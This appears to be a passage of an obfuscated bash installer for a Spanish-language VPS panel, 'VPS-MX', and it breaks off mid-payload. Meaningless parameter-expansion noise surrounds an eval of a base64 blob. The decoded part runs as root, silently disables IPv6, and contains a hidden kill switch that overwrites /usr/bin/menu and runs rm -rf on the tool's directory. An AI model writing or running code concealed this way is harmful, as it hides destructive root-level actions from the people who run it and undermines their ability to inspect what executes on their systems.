| 12 |
- #!/bin/bash
- ${*//DV8u_@} "${@%%m<SjA}" ${*/xiAz/|:rhj:$;} ${*} "${@/nW^\(7}" ${@^^} $* "${@~~}" ${*/BmOa0su/ovP-o} ${*~~} ${*##2W>S\`n\}} ${@#|6_1>oM} ${*#P2l\`>} ${@~} ${!*} ${*^} ${*^^} ${*^} ${!*} ${*^} "${@~~}" "${@#71Aqk4}" ${@} ${*~} ${@/dWQaS/\)\`we} ${*//BuaXUW2/UX@S\[fq} ${@} ${*,} ${*,} ${!@} ${*%%nYo^H} ${!@} "${@//\`+R&Da6|/+yiE1GAh}" "${@/#_&@YHT\]}" ${*%%su.\]l\\} "${@,,}" ${*##*aw\@} ${*,,} "${@,,}" "${@~}" "${@,,}" "${@^^}" "${@/.g4~}" $* ${*//;1p1q} ${*~~} ${@~} ${@} ${*##Vz~Jg} ${*~} ${@##\{.bn\gn} ${*%%\}n:A} ${*/Lklo03} ${*} ${*%T>6o} ${@,,} "${@,,}" "${@^}" "${@%%smech+}" "${@//d\},&P8}" ${@##NttW&} ${*%w+:;} "${@/L\]F^J}" ${@~~} ${*/E4C$@/34$\"@} "${@,,}" ${*##\(l:eNg\{#} $* ${*%%$II<K0G} ${!@} ${*#Y8+YIo} $@ ${*//OZ,5t;|} ${*~~} ${*##:^d*S8} ${*%%N\(GSA} "${@##OEg@P}" "${@~~}" ${*^^} ${@,,} ${*//jHe\]/XA\(=,p} ${*~} ${*//mS*W:} "${@##u\)R<Va}" ${@~} ${*//n#s\]h} "${@^^}" $* "${@#fsDSte&}" ${*~} ${!@} ${@/#Y;\`FjF,} ${*^} ${*%%,#Yy\&I} $* ${*//a+XO<H\{/VklhKor} "${@#>R2-9}" ${*,} ${*##OS^*D} ${@} ${@,} "${@~}" ${*#fNH2;C^} ${*%CF\`Rl} "${@//g-%\[\(B$/_-qV}" ${@%%\(YXq\`} ${@,,} "${@%%5dYIQY1}" ${@^^} ${*,,} "${@%%DI#9$1}" "${@%#w\}fS<}" ${@%GCW;a} "${@^^}" ${*/>Y\IoW/?IMuDc*} ${@##;n*24} ${*/w0zyRLL/\]dp=hiA} ${@//>zEmb%d} $@ ${@#SYT\\} "${@#\`m\M^T\]}" $* ${*~~} "${@//~DlUXpJ/_v=s}" ${*//LN7s\3/e$ALr} ${*%rK1A-} ${*^} ${*~} $* ${*} ${*#XW\{^dqp} ${*~} "${@//&nC9::V}" "${@/~qK2<\y}" $* "${@~}" ${@%%Y\}N\`i\"} "${@^^}" ${*//,b@d} ${!@} ${*,} ${*##p\"po>*O} ${!@} ${*,,} ${!@} ${*,} ${*##%\)V\!\!5t<} ${*~~} ${*##c@Z:w\~} ${@,,} "${@#o\CD>-\\}" "${@,,}" ${*%%h~.s} "${@/\]\}tT}" ${*,,} ${*//yXo\{Ce} ${@,} ${*~} ${*~} "${@,,}" ${@##L6\)PR} "$@" ${@##I;vDUJCq} ${*^} ${@/jl-0^-7/=?u\)\`;\}} ${@###<*\"aZY} ${*//wPy=Ju} ${@/<-B\{me?} ${!@} "${@,}" ${*##\)?8+} ${*,,} ${*} ${@^} ${*~} ${*%%#\`A:} ${*#4mhrzRZb} $@ $* ${*//\"2_Z1e\(f} ${@%yeIX} "${@,,}" "${@,}" ${*~~} "${@##pTYTLwD}" ${@/S:D1+o\\} ${@/l_OyF80/a7.PH\!#} ${*//D\(*nq/|\{bB} ${*~~} ${@/b;GfAr/d\}\!Le\`\[P} ${@//dr6J/\)t?I\`U\\} ${*^} ${!@} "$@" "${@,,}" ${*#4JV\{d} $* ${@,,} ${*##kmB-\`} "${@,}" ${*,} ${@^^} ${@~} ${*~} ${!*} ${*} ${@~} ${@,} ${@//L_HV_} "${@/lh\`hsW/\(KM~Kv5}" ${@/GmpP} ${*~} ${*,,} ${*%%yxwn\W2} ${@,,} ${@%\[x02<Ey\!} ${*/TDC,n} ${*^^} ${!*} ${@#s8~Z\]\]j$} "${@^^}" "${@,,}" ${@/eCMk45} ${*#E,nNh\(} ${*~~} ${*%5mahd} ${@^} ${@^} "${@###jT<I>}" "${@}" ""$'\145\u0076'\al "$( ${*//vK6mgF?z} ${@%%?2GGD} ${*,,} ${@~~} ${*^} ${*,,} ${*^^} ${*~~} ${@%%1Wg*G} ${*} ${*%n\"CXj\`} ${*#qUebGjh} ${*} ${!@} "${@//2Jo\}iH}" ${*^^} ${@%%&H*C5} ${*~~} ${*/6|8vb} ${*%Fnz<~\A&} ${@~~} ${*/9\`Re/o~Sk:E} ${@^} ${*~} ${*~} "${@/%e5w\}Z_5/G=$T}" "${@%\!\)1h\(:}" "${@}" ${*/tQ\(,5} "${@,}" "${@~~}" ${*,,} "${@}" $* ${*%%evyFeT} ${*%WXkQ<d\)?} "${@~~}" "${@/\}m7&}" ${*#@\`>Y3} ${!*} ${*#Tg\?} ${*%%xI8%x} ${*^} ${*##vl#pCW} "${@%%NHM\[9}" "${@/\!\t~J=w\[/GB4jfU&}" $* "${@/nP;=}" ${*,,} "${@/82.KEn~}" "${@~~}" "${@~}" ${@} ${@%-y~>} "${@,,}" ${*^} "${@^^}" "${@,}" ${*~~} ${!*} ${*//pE@Y,f/Tu86cX} ${*#ahkk?\[} ${!@} ${*//2<SSsFs/&-\`TX} ${*/dL^4,Z/g\`%R} ${*~} ${*,} "${@//mpXO7J/$HG$q}" ${*/SUHP} "${@%%\[;980,m}" "${@//-5|\{\`}" ${@#7_$~gze} ${*/7e%IuX/=+B\#} ${@~~} "${@//@uGv/\`ru8\[3}" "${@,,}" ${*^} $* ${*%+t7jA} ${@##wR;f<\!} ${*~} "${@#CqK,5O+J}" ${*^^} ${*^} "${@/X\).\]\(b08/&hZ$45rP}" "$@" ${@##1MlC5_^c} ${*^^} "${@//W\)--aGVs/L\jF}" "${@}" "${@,}" "${@%3$a=yXe}" ${*~~} ${*,} ${*//\"8J.Z$/e3xR\}D3} ${@^^} ${!*} ${*^} ${@,} ${*~~} $@ ${*~~} ${*%%+*^3-} ${*,} "${@#;$Qg,}" ${@/aXW=^-d/9w&n@t} "${@#S0k\qO\{D}" "${@##\`\]i$}" ${*%%db\]RA>|o} ${@} ${*} "${@//qeg|OW/;1>SpXh\`}" ${*^} ${!@} "${@^^}" "${@/\]\{Sy*}" "${@%%DXIcD$;b}" ${*//EOP\%w*/\[BC:2} ${!*} "${@~~}" ${*} ${@//md9BRf} ${*~~} "$@" ${@##G\]1UXSy} ${*/st7+RGl4/joLBjI3S} "${@}" ${*} ${*^} ${*/F7R=gP/?Lx\{} ${*//J\"kgH_T} ${*^^} ${@##STm@S3} ${@%,\]O7ZK} ${*##ma<E} ${@##L,:pZJ} ${@//\(d4?OE1} "${@~}" "${@}" ${*//&HvFHoU} ${@##=Ew6} ${*//s<k#|1G/8Ai=CT} ${@%r*\(K} ${*^} ${*%%@QVMO\\} ${*^^} ${*%%CE#T} "${@//=7P,\[l<7}" "${@~}" "${@,}" $* ${@,} ${@%%hA;O} ${@,} ${*%%1$M\{;} ${*~} ${*^^} ${*//?\]\(b_-d*/;V\]OArG\!} ${*##J2b;XX} ${*,} ${@/d0$jiz/Q3a_2D} ${*,,} "${@#ay0jk~\}}" ${*^} ${*,,} ${*//\}jB0j} ${@/|Qxu} ${*%#aZ\)E} "${@}" ${*^} ${@,} "${@,,}" ${*^} ${*#f\]Rn-ZD7} "${@~~}" ${*} ${*,,} ${@/tpNC%M/a\`$F} ${*~} ${*%c|YF\"?,} ${*/UQ=\}$1$/;\(,51} "${@^^}" "${@~}" ${*//usr&m;} $* ${*^^} ${*^} ${@,,} ${*,} ${*^} ${*/\!sySK2} ${@//K-9H\)K\[?} ${*//g6\(S%} ${@#LEZN} ${@/JT1Rl/SuW~\(bq} "${@~}" ${*~} ${!*} "${@###v&AxS3}" ${*%P#Yx?-H} ${*,,} ${*,,} ${*##V\]dhJ<} ${*,} ${*} ${*##1UCL} "${@}" ${@^} ${!*} ${*%s-1\]} $* ${*//>w\!\}1} ${*^} "${@#_3m\)xu\)}" "${@}" ${@/b.$*;} "$@" ${@##NtRIJY:Z} ${@~} ${@,,} ${*^^} ${@//-l@9} $@ ${*~} ${*%%uABtp-J\"} ${*~} "${@~~}" ${*%%@zl5\}D\}\]} ${*%q:dH#+} "${@~~}" "${@~}" "${@%__nB\)}" "${@//7#2t@KU}" ${*%&\);uG\)} "${@%;St<#=a}" "${@#$=wk}" ${*} $* ${*#?F#o\{n6} ${*,} ${@^^} ${!@} "${@//tzbZ8$qF}" ${*//.SL9BQpW/m\{-Igl%} "${@,,}" "${@//naZb,\(b}" "${@^}" ${*/ug,@+u=^/Xh\TYZK} ${*##P^K%o#} ${!*} ${@~~} ${*#Zml^?|O_} ${!*} ${*/Z~Ou*Knv/$whxV+;} ${*} "${@%%\"\{0P}" "${@}" ${*%%L^SSrI6L} ${@/DKL+A21s/b^:#;} ${*%%CjaUhT:+} ${@~~} $* ${*^} $@ ${@^^} ${@/cq|tk/*=7O-:Zf} ${!@} "${@^^}" ${*/SaD#IT/9\`B.b\"} ${@%OJH7} ${@} ${!*} "${@~~}" ${*/0>C^w-} "${@%o=rai}" ${*,} ${@##;=o@0} ${*^} ${*/9y8:dBR/\]Y>OAq%c} ${@##rT>X} ${@,,} ${@#08\}xKZp,} "${@/-X\)-sMY~/Wr6IP?t}" ${@//@St\}\(X/dh\"1=} ${!*} ${@,,} ${@^} "${@}" $* "${@%REJ-8RM9}" ${*/\ti~-Gv/\}R:K\[} ${*##\`o6\)w\{q\"} ${*~} ${*%%vz80S} ${*,} ${@/g~3E/q\].5:t} $* ${@^} "${@%%1V\{<o}" "${@~}" ${@#,yeU=RIW} "${@~}" ${@##TZ,Q} "${@#\{^kG}" ${@^^} ${@//Ok|NzQBV/5#wI\{\!|} ${!@} "${@%%\)SL\]F9uZ}" "${@,,}" "${@#\`oL^\)\{Q}" "${@^}" $* ${!*} ${@/A\}lFO2j\`} ${*,} "${@~}" ${*%%|\[MKxH} "${@%LQsO4?}" "${@^^}" "${@%J=&\{r7rX}" "${@#\)u\(n}" ${@%kV3\!EDd} ${!*} "${@^^}" "${@~~}" "${@%A\!>v=#Mg}" "${@~}" ${*~} "${@,}" $* ${*//C0j<=/3\]:+u-} ${*,,} ${*%%W0$3} ${*,} $* ${@} ${*~} ${*#VmsS\G} ${*%;RBn=YT\"} "${@##*F\-J;*}" ${@/4XhTR0;\{} ${*/~OrO} ${@~~} "${@//0\!&1}" ${*^} ${@##sxQ%M~} ${@~~} ${@/Sw%BLl3/6<8LV|s} ${*} "${@##|hr\"oDy}" ${@%%YYL6y<*} "${@%%\MN\`1}" ${@//+\}Ok~M3/bFFN5} ${@//Q5n~mO3/P*:>U} ${*%%gaEHd} ${@%%eKPt_T} "${@}" ${*%%kk,|@x} $@ "${@,,}" ${@//E\)hLS} $@ ${*##&n^|} "${@%%s7>w}" ${*} "${@%%STXXa=,v}" ${@#YETV} ${*,,} "${@~~}" ${@%FRB^} ${*,} ${*%%eiwo} $* ${*%2rC\{58\_} "${@/eh*HBs/5mz\)-}" "${@}" "${@//P9L>\!t*}" ${@/7_aQ} ${*~} ${*//6wgxle/#\}c&y} "${@^}" "${@~}" "$@" "$@" ${*~} ${@~} "${@%_@%,\[d}" "${@%p\`\(VN}" ${*#_Yc&} "${@/O;<tG#zD/@YXEQs}" "${@#JZ_.JINX}" $* ${*//<$\!mO/\]rW+} ${@} ${*^^} ${*^^} "${@~}" "${@^^}" ${*/\(U8x%b/\(ch.kp} $* "${@~~}" ${@%12;xA} ${@} ${*%%5>BQ} "${@^^}" "${@^^}" ${*//sb@7jnU:} "${@^^}" ${@%A1;|g^\`7} ${@%%Xe,\!5\[} ${@} "${@^^}" $* "${@/E2y$/wgh0}" ${@~~} ${*^^} ${@/>,\}^\"v} ${*,} "$@" ${*/;DKP~/z10_Yq} "${@,}" ${*^} ${*#%xSwi\\} ${*,} ${*,} ${@#GIN\u} ${*~} $* "${@//0dbl#w/Q67Q*}" ${*,} ${@/MGX\}JI3} ${*//e=\}N1W;\\} ${*,} ${@^} ${*/g-A^\"V>/\(kFOn,H} ${@/#fc~5J/h\5*p%q} "${@,}" ${@,} ${*^} "${@//,~RP^Y/~DUQ?\{}" "${@,,}" ${*,,} "${@%%CU3$H}" ${*//A..A} ${@//yiSV/2\`\`s} ${*/Tu=D\!x} "${@/pz\"W8M}" ${*,,} ${@~} "${@%%z9Bb8J}" "${@//l&m|vy:/TG1Z}" "${@~~}" ${@,} ${@,} ${@} ${!@} ${!*} ${*#<8\}@i} ${*} ${*,} ${*#kZC3} "${@,}" ${*~} ${*^} $* ${*//E>li=b/1\YSx|} ${*/\}_;\]5O5d/F4^l9M\]:} "$@" ${*} ${*^} ${*^} ${!@} ${*,,} ${*%I@1l} ${*,,} ${*^^} "$@" ${@~} "${@#~\[Dt\[KSd}" ${*//Dp9zk?t1} ${*} $@ "${@^^}" "${@%%M3Sc}" $* ${!@} ${*//;\)Mi/MU7z.j-} ${@~~} "${@^^}" ${*^} "${@%h5n1}" ${@%89+\[F#\[J} ${@/0k>\[Xz} ${*,} "${@##\{K?\"}" ${*,} ${*%%S&nL\[h5} $@ ${@//b,HD/&MuTiR9~} ${*~} "${@,,}" "${@%I^Z:}" ${*#mo\`\{} ${*~~} "${@~}" ${@%%F-ba\(iu} "${@%\(Q\{I}" "${@^^}" ${@//kf\[SR2} ${@/3\!IKU0G/Y?Uxos_} ${*^} ${@%~izkehUR} "${@}" ${@,,} ${*%%%zIe\}\]} ${*#6zo:g\`nz} "${@~~}" "${@#;\]l|m?}" ${*#B\}j\}r} ${*/-E\)v1/\!caL} "$@" ${*,} ${*~} ${*%%tj\"o} ${*%%zO\g3} ${*%%%_\(ZY} $* $@ ${*%%TFJ,q} "${@/ny\)pzC|/T_gZ|}" ${*##2WhyNQJ} ${!@} ${@//gWi\)9,s} ${*#kZw\`DL} ${*/&wDP#} "${@%%PLG;b\f}" ${*//OPN6-\[/O\!\dF} ${*^^} ${*^^} ${*} ${*,} ${*#Cl&7-Vt} "${@,}" ${*##<.=u} ${@,} ${@} ${!@} ${*/CSk2xco/=uO?hE} ${*#MRSUy41} "${@/,\`V|DA}" $@ ${*//<2l0} "${@//.P3\"ET}" ${*^^} ${!*} ${@^^} ${@,,} ${!@} $@ ${*^^} ${*//\{zZwe/M\]F=Hdr} ${@/+6tq*X} "${@~}" $* ${*#|.tJxJ} $* "${@^}" "${@,}" ${@,} "${@//e\)f\}/=Q\(x3qY}" ${@,} ${*~} ${*#.NLgT.g} "${@,,}" ${*/*21Wu/iO\[h} ${*/70:lrqK/B<&|:N9} ${@,} "${@~~}" ${@//X4&\"\`=} ${*/-k\?G~0y/T?n?\`Dtc} ${@,} $@ "$@" ${@%%\[2\!=B} ${*##b&hEN} "${@}" ${*//G\[7ve0x/RDyfkZz} "${@^^}" "${@#8o#\{u}" ${@~~} ${*^} ${*//42&\!>1QM/\)\{t,~\]C} ${*,,} ${*,,} ${*%mEVX} ${*,} ${*#-QaFb|=B} ${*/\f;^<|} "${@%%vng.DnU}" ${@#LYy\"V} ${@//j9\!\}ah@|} ${*%bs+F} $@ ${*,,} ${!*} "${@%+\`t6P\]}" ${*~} ${@%%9FT1} ${*/IP+cjl\"\)/:E^b>*M3} ${*%%RKUC\)} ${*//\]lY<bH/\`;%x>} "${@^^}" ${*~} "${@~~}" ${*//*\}wG,zyr/7A\}\(d} "${@}" ${@~~} ${*//:UJ;%*/>,pByA} ${@/%Ks\E?/\}K5y45<?} ${!@} ${*//s3\(C>l\"} ${@%%eki.#MEr} ${*} ${@##sO,*^X<F} ${*%X7rlM7.} "${@%%XbQ3jqc\\}" ${*//T\`+r/5_29} "${@%%O#ph}" ${@//+VN~/\[y\"Hu5|#} ${*//V\{.M&406} ${*~~} ${*#OyyK} ${@#^\[j,l-E\[} "${@#%=gR8}" "${@%%RO>EYt}" ${@,} ${*//mXR1j%\`H} ${*//\]\`@>} ${@##..a.%} ${*/\`L\{i2} ${*,} "${@/^_+^sNe/<MN9\[8}" ${*^^} ${@//,G.o#MB} ${*^} ${@~} "${@#0P<=#}" ${*~} ${!@} "${@//YNVTO\)yl/6Q9nHX}" ${*#,%Q>$k#8} "${@,}" ${*~~} ${@~~} ${@/cjk:8Fx/s#\w} ${@//kGzaH.q} ${@^} ${@} $@ "${@~}" ${*~~} "${@~}" "${@^}" "${@%%syF2}" "${@^}" ${*~} ${*//PgBb#\`:@} ${@^} ${*//K&.*Jj/=EL~\\} ${*/d\"UlH\"b/tIkV3} ${*,} ${@^} "${@^}" ${*/n#pm|/zY\};>5Un} "${@##\8b\[}" ${@//qdR<\)} $@ "${@,,}" ${*/Pt$\}KZGE} ${@//Fg_Ods./7$@y} ${*%%i88I} ${*^^} "${@^}" $* ${*^^} ${!*} ${*%\(\}SF\`} ${*~} "$@" ${@^^} ${*//?x|e} ${*,} ${@%\GDAG} ${@%%+\DRR^0} "${@#uU6-}" "${@##,AIQpf}" "${@%\"\VUxu}" ${*%%+n0U} $@ $* ${*} ${!*} "${@/8eqa\[IH/Ty-6%Sk}" ${@~~} ${*,,} ${*^^} ${*%%n\)JN<} ${*,} ${*^^} ${@~~} $* "${@#V\`v800Oa}" ${@/R@O4W} ${*%%m5BY@} ${@/AlC%A/Xy|\!L} ${*/Hl6kaG,/8PD+to} ${!*} ${@//VM\`jL/GJlJwn} "$@" "${@~}" "${@#J+SL3+u}" "${@#7T:7}" ${@^} ${*#\lMy4I} ${*//zU?$\"j\W} ${*,,} ${@/Dh1#jML\{} ${*^} "${@##sj,2}" "${@^^}" ${*~~} "${@##j\`y,}" ${*//\)1gsq/~PowHCF} ${*~} ${@//5q\w.3r} "${@##D^\{9}" $@ ${@} ''$'\160''''r'i\n''"t"$'\u0066' "IwpsbD0iL3Vzci9sb2NhbC9pbmNsdWRlL3NuYXBzIiAmJiBbWyAhIC1kICR7bGx9IF1dICYmIGV4aXQKY2xlYXIKW1sgIiQod2hvYW1pKSIgIT0gInJvb3QiIF1dICYmIHsKZWNobyAtZSAiXDAzM1sxOzMzbVtcMDMzWzE7MzFtfCBOTyBIQVMgSU5JQ0lBRE8gQ09SUkVDVEFNRU5URSBFTCBTQ1JJUFQsIERFVkVTIElOSUNJQVIgQ09NTyBVU1VBUklPIFJPT1QgfFwwMzNbMTszM21dIFwwMzNbMTszN21ERVZFUyBFSkVDVVRBUiBFTCBTSUdVSUVOVEUgQ09NQU5ETyBcMDMzWzE7MzNtc3VkbyAtaVwwMzNbMG0iCmV4aXQgMAp9CgpkZWNsYXJlIC1BIGNvcj0oIFswXT0iXDAzM1sxOzM3bSIgWzFdPSJcMDMzWzE7MzRtIiBbMl09IlwwMzNbMTszMW0iIFszXT0iXDAzM1sxOzMzbSIgWzRdPSJcMDMzWzE7MzJtIiApCnN1ZG8gc3lzY3RsIC13IG5ldC5pcHY2LmNvbmYuYWxsLmRpc2FibGVfaXB2Nj0xID4gL2Rldi9udWxsIDI+JjEKc3VkbyBzeXNjdGwgLXcgbmV0LmlwdjYuY29uZi5kZWZhdWx0LmRpc2FibGVfaXB2Nj0xID4gL2Rldi9udWxsIDI+JjEKc3VkbyBzeXNjdGwgLXcgbmV0LmlwdjYuY29uZi5sby5kaXNhYmxlX2lwdjY9MSA+IC9kZXYvbnVsbCAyPiYxCiMgW1sgISAtZCAvdXNyL2xvY2FsL2xpYi9ybSBdXSAmJiBleGl0Cl9ob3JhPSQocHJpbnRmICclKCVELSVIOiVNOiVTKVQnKSAKI0NPTE9SRVMgCnJlZD0kKHRwdXQgc2V0YWYgMSkKZ3Jlbj0kKHRwdXQgc2V0YWYgMikKeWVsbG93PSQodHB1dCBzZXRhZiAzKQpTQ1BkaXI9Ii9ldGMvVlBTLU1YIiAmJiBbWyAhIC1kICR7U0NQZGlyfSBdXSAmJiBleGl0IDEKRElSPSIvZXRjL1ZQUy1NWCIKU0NQdXNyPSIke1NDUGRpcn0vY29udHJvbGFkb3IiIApTQ1Bmcm09IiR7U0NQZGlyfS9oZXJyYW1pZW50YXMiIApTQ1BpbnN0PSIke1NDUGRpcn0vcHJvdG9jb2xvcyIgClNDUGlkaW9tYT0iJHtTQ1BkaXJ9L2lkaW9tYSIKI1BST0NFU1NBRE9SCl9jb3JlPSQocHJpbnRmICclLTFzJyAiJChncmVwIC1jIGNwdVswLTldIC9wcm9jL3N0YXQpIikKX3Vzb3A9JCh0b3AgLWJuMSB8IHNlZCAtcm4gJzNzL1teMC05XSogKFswLTlcLl0rKSAuKi9cMS9wOzRzLy4qLCAoWzAtOV0rKSAuKi9cMS9wJyB8IHRyICdcbicgJyAnKQoKI1NJU1RFTUEtVVNPIERBIENQVS1NRU1PUklBIFJBTQpyYW0xPSQoZnJlZSAtaCB8IGdyZXAgLWkgbWVtIHwgYXdrIHsncHJpbnQgJDInfSkKcmFtMj0kKGZyZWUgLWggfCBncmVwIC1pIG1lbSB8IGF3ayB7J3ByaW50ICQ0J30pCnJhbTM9JChmcmVlIC1oIHwgZ3JlcCAtaSBtZW0gfCBhd2sgeydwcmludCAkMyd9KQoKX3JhbT0kKHByaW50ZiAnICUtOXMnICIkKGZyZWUgLWggfCBncmVwIC1pIG1lbSB8IGF3ayB7J3ByaW50ICQyJ30pIikKX3Vzb3I9JChwcmludGYgJyUtOHMnICIkKGZyZWUgLW0gfCBhd2sgJ05SPT0ye3ByaW50ZiAiJS4yZiUlIiwgJDMqMTAwLyQyIH0nKSIpCgppZiBbWyAtZSAvZXRjL2Jhc2guYmFzaHJjLWJha3VwIF1dOyB0aGVuIEF1dG9SdW49IlwwMzNbMTszMm1bT05dIgplbGlmIFtbIC1lIC9ldGMvYmFzaC5iYXNocmMgXV07IHRoZW4gQXV0b1J1bj0iXDAzM1sxOzMxbVtPRkZdIgpmaQojIEZ1bmNvZXMgR2xvYmFpcwptc2cgKCkgewojQUNUVUxJWkFET1IKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCVtbICEgLWQgL3Vzci9sb2NhbC9saWIvcm0gXV0gJiYgZXhpdAkJCQkJCQkJCQkJCQkJCltbICEgLWUgL2V0Yy92ZXJzaW5fc2NyaXB0IF1dICYmIGVjaG8gMSA+IC9ldGMvdmVyc2luX3NjcmlwdAp2MTE9JChjYXQgL2V0Yy92ZXJzaW5fc2NyaXB0X25ldykgCnYyMj0kKGNhdCAvZXRjL3ZlcnNpbl9zY3JpcHQpCiNbWyAkdjExID0gJDIyIF1dICYmIAp2ZXNhb1NDVD0iXDAzM1sxOzM3bVZlcnNpb24gXDAzM1sxOzMybSR2MjJcMDMzWzE7MzFtXSIgI3x8IHZlc2FvU0NUPSJcMDMzWzE7MzJtVVBEQVRFXDAzM1sxOzkxbVtcMDMzWzE7MzJtJHYxMVwwMzNbMTszMW1dIiAKYXZpc29fYm9jayAoKSB7CmVjaG8gJ2VjaG8gLWUgIlwwMzNbMTs5MW3igJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJRcbiAgICAgICDCoVNDUklQVCBCTE9RVUVBRE8gUE9SIENMT05JTkd8fCBDT05UQUNURSBDT04gU1UgUFJPVkVET1IgISBcbuKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlOKAlCInID4gL3Vzci9iaW4vbWVudQplY2hvICdlY2hvIC1lICJcMDMzWzE7OTFt4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCUXG4gICAgICAgwqFTQ1JJUFQgQkxPUVVFQURPIFBPUiBDTE9OSU5HfHwgQ09OVEFDVEUgQ09OIFNVIFBST1ZFRE9SICEgXG7igJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJTigJQiJyA+IC91c3IvYmluL1ZQUy1NWAogcm0gLXJmIC9ldGMvVlBTLU1YIAp9CmxvY2FsIGNvbG9ycz0iL2V0Yy9WUFMtTVgvY29sb3JzIgppZiBbWyAhIC1lICRjb2xvcnMgXV07IHRoZW4KQ09MT1JbMF09J1wwMzNbMTszN20nICNCUkFOPSdcMDMzWzE7MzdtJwpDT0xPUlsxXT0nXGVbOTNtJyAjVkVSTUVMSE89J1xlWzMxbScKQ09MT1JbMl09J1xlWzMybScgI1ZFUkRFPSdcZVszMm0nCkNPTE9SWzNdPSdcZVszMW0nICNBTUFSRUxPPSdcZVszM20nCkNPTE9SWzRdPSdcZVszNG0nICNBWlVMPSdcZVszNG0nCkNPTE9SWzVdPSdcZVs5NW0nICNNQUdFTlRBPSdcZVszNW0nCkNPTE9SWzZdPSdcMDMzWzE7OTdtJyAjTUFHPSdcMDMzWzE7MzZtJwpDT0xPUls3XT0nXDAzM1szNm0nICNNQUc9J1wwMzNbMzZtJwplbHNlCmxvY2FsIENPTD0wCmZvciBudW1iZXIgaW4gJChjYXQgJGNvbG9ycyk7IGRvCmNhc2UgJG51bWJlciBpbgoxKUNPTE9SWyRDT0xdPSdcMDMzWzE7MzdtJzs7CjIpQ09MT1JbJENPTF09J1xlWzMxbSc7OwozKUNPTE9SWyRDT0xdPSdcZVszMm0nOzsKNClDT0xPUlskQ09MXT0nXGVbMzNtJzs7CjUpQ09MT1JbJENPTF09J1xlWzM0bSc7Owo2KUNPTE9SWyRDT0xdPSdcZVszNW0nOzsKNylDT0xPUlskQ09MXT0nXDAzM1sxOzM2bSc7Owo4KUNPTE9SWyRDT0xdPSdcZVszNm0nOzsKZXNhYwpsZXQgQ09MKysKZG9uZQpmaQpORUdSSVRPPSdcZVsxbScKU0VNQ09SPSdcZVswbScKIGNhc2UgJDEgaW4KICAtbmUpY29yPSIke0NPTE9SWzFdfSR7TkVHUklUT30iICYmIGVjaG8gLW5lICIke2Nvcn0kezJ9JHtTRU1DT1J9Ijs7CiAgLWFtYSljb3I9IiR7Q09MT1JbM119JHtORUdSSVRPfSIgJiYgZWNobyAtZSAiJHtjb3J9JHsyfSR7U0VNQ09SfSI7OwogIC12ZXJtKWNvcj0iJHtDT0xPUlszXX0ke05FR1JJVE99WyFdICR7Q09MT1JbMV19IiAmJiBlY2hvIC1lICIke2Nvcn0kezJ9JHtTRU1DT1J9Ijs7CiAgLXZlcm0yKWNvcj0iJHtDT0xPUlszXX0ke05FR1JJVE99IiAmJiBlY2hvIC1lICIke2Nvcn0kezJ9JHtTRU1DT1J9Ijs7CiAgLWF6dSljb3I9IiR7Q09MT1JbNl19JHtORUdSSVRPfSIgJiYgZWNobyAtZSAiJHtjb3J9JHsyfSR7U0VNQ09SfSI7OwogIC1henVjKWNvcj0iJHtDT0xPUls3XX0ke05FR1JJVE99IiAmJiBlY2hvIC1lICIke2Nvcn0kezJ9JHtTRU1DT1J9Ijs7CiAgLXZlcmQpY29yPSIke0NPTE9SWzJdfSR7TkVHUklUT30iICYmIGVjaG8gLWUgIiR7Y29yfSR7Mn0ke1NFTUNPUn0iOzsKICAtYXopY29yPSIke0NPTE9SWzRdfSR7TkVHUklUT30iICYmIGVjaG8gLWUgIiR7Y29yfSR7Mn0ke1NFTUNPUn0iOzsKICAtYnJhKWNvcj0iJHtDT0xPUlswXX0ke1NFTUNPUn0iICYmIGVjaG8gLWUgIiR7Y29yfSR7Mn0ke1NFTUNPUn0iOzsKICAiLWJhcjIifCItYmFyIiljb3I9IlxlWzE7MzBt4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCU4oCUIiAmJiBlY2hvIC1lICIke1NFTUNPUn0ke2Nvcn0ke1NFTUNPUn0iOzsKICAtdGl0KWVjaG8gLWUgIlxlWzkxbeKJquKUgeKUgeKUgOKUgeKUgeKUgOKUgeKUgOKUgeKUgOKUgeKUgOKUgeKUgOKUgeKUgeKUgOKUgeKUgeKUgOKUgeKUgOKUgeKUgOKXiOKUgOKUgeKUgeKUgOKUgeKUgOKUgeKUgOKUgeKUgOKUgeKUgeKUgOKUgeKUgOKUgeKUgeKUgOKUgeKUgOKUgeKUgeKUgOKUgeKJqyAgIFx